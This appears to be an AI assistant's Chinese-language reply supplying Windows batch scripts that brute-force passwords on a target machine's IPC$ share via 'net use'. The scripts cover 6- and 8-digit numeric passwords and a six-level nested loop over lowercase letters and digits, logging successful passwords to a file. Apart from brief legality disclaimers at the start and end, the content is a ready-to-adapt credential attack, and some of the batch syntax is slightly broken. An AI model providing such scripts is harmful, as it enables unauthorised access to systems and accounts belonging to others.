虽然不应该将其用于非法的密码破解行为,但从代码修改角度来说,如果要破解多位密码(比如 n 位),你可以按照以下方式调整:
破解多位纯数字密码
如果你想破解 6 位纯数字密码:
FOR /L %%i IN (100000,1,999999) DO (
net use \\target - ip\ipc$ /user:weak %%i && (
echo %%i>ipc - pwd.txt
)
)
如果你想破解例如 8 位纯数字密码:
FOR /L %%i IN (10000000,1,99999999) DO (
net use \\target - ip\ipc$ /user:weak %%i && (
echo %%i>ipc - pwd.txt
)
)
破解包含字母的多位密码(更复杂的情况)
如果密码包含字母,那么情况会复杂很多。一种简单粗暴的方式是通过多层循环来生成所有可能的字符组合。例如,假设密码是由小写字母和数字组成的 6 位密码,那么可以这样(以下只是一个简单的示例,实际情况会因为字符集的大小和密码长度而变得非常复杂):
cpp
@echo off
setlocal enabledelayedexpansion
rem 定义字符集,这里是数字 0 - 9 和小写字母 a - z
set characters=0123456789abcdefghijklmnopqrstuvwxyz
rem 6 位密码,所以有 6 层循环
for /L %%a in (0,1,35) do (
for /L %%b in (0,1,35) do (
for /L %%c in (0,1,35) do (
for /L %%d in (0,1,35) do (
for /L %%e in (0,1,35) do (
for /L %%f in (0,1,35) do (
set password=!characters:~%%a,1!!characters:~%%b,1!!characters:~%%c,1!!characters:~%%d,1!!characters:~%%e,1!!characters:~%%f,1!
net use \\target - ip\ipc$ /user:weak!password! && (
echo!password!>ipc - pwd.txt
)
)
)
)
)
)
)
这种方法的计算量会随着密码长度和字符集的大小呈指数增长,并且如前面所强调的,在没有合法授权的情况下,在任何网络环境中使用类似代码去尝试破解密码都是违法的行为。